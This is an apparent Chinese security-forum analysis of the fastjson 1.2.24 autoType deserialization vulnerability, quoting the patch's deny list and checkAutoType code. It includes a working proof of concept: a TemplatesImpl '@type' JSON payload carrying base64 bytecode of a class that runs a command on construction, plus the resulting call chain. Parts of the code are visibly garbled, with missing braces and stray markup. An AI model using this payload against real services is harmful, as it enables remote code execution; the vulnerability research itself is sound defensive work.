hades / 2017-05-03 02:35:55 / 浏览数 3434 安全技术 漏洞分析 顶(1) 踩(0)

fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之: <a href="https://github.com/alibaba/fastjson/wiki/security\_update\_20170315">https://github.com/alibaba/fastjson/wiki/security\_update\_20170315</a>

### 受影响的版本

fastjson <= 1.2.24

## 静态分析

根据官方给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。具体包

bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils, org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.

comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util, org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework1234bsh,com.mcha

#### 下面我们来分析checkAutoType的函数实现:

```
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {</pre>
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
for (int i = 0; i < denyList.length; ++i) {</pre>
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
return clazz;
```

核心部分就是denyList的处理过程,遍历denyList,如果引入的库以denyList中某个deny打头,就会抛出异常,中断运行。

# 程序验证构造

静态分析得知,要构造一个可用的程序,肯定得引入denyList的库。刚开始fastjson官方公布漏洞信息时,当时就尝试构造验证程序,怎奈fastjson的代码确实庞大,还有as

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
@Override
\verb|public| void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)| \\
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws Translet
public static void main(String[] args) throws Exception {
Test t = new Test();
这个是Test.java的实现,在Test.java的构造函数中执行了一条命令,弹出计算器。编译Test.java得到Test.class供后续使用。后续会将Test.class的内容赋值给_bytecodes。
package person;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
* Created by web on 2017/4/29.
public class P{
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classe\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS + \}
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
\label{local_name} $$ ''=name':\''a\'',\''=name':\''a\'',\''allowedProtocols':\''all'''_n''; $$
System.out.println(text1);
```

```
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fas
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
catch (TransformerConfigurationException e) {
return null;
    public synchronized Transformer newTransformer()
throws TransformerConfigurationException
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
 \hspace{0.1in} \hbox{if (\_tfactory.getFeature(XMLConstants.FEATURE\_SECURE\_PROCESSING)) } \hspace{0.1in} \{
transformer.setSecureProcessing(true);
return transformer;
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if ( class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism( useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
return translet;
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
```

```
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
if (_transletIndex < 0) {</pre>
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
```

在getTransletInstance调用defineTransletClasses,在defineTransletClasses方法中会根据\_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方

下面我们上一张调用链的图:


getTransletInstance:368, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax), TemplatesImpl.java newTransformer:398, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax), TemplatesImpl.java getOutputProperties:419, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax), TemplatesImpl.java invoke0:-1, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java invoke:57, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java invoke:43, DelegatingMethodAccessorImpl (sun.reflect), DelegatingMethodAccessorImpl.java invoke:601, Method (java.lang.reflect), Method.java setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer), FieldDeserializer.java parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer), DefaultFieldDeserializer.java deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer), JavaBeanDeserializer.java deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer), JavaBeanDeserializer.java deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer), JavaBeanDeserializer.java parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser), DefaultJSONParser.java deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser), DefaultJSONParser.java parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser), DefaultJSONParser.java parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser), DefaultJSONParser.java parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser), DefaultJSONParser.java parseObject:639, JSON (com.alibaba.fastjson), JSON.java

test autoTypeDeny;95, DenyTest11 (com.alibaba.json.bvt.parser.deser), DenyTest11.java

#### 简单来说就是:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

附上一张成功执行图:



总结

该程序验证的影响jdk 1.7, 1.8版本, 1.6未测试, 但是需要在parseObject的时候设置Feature.SupportNonPublicField。

欢迎大家探讨。

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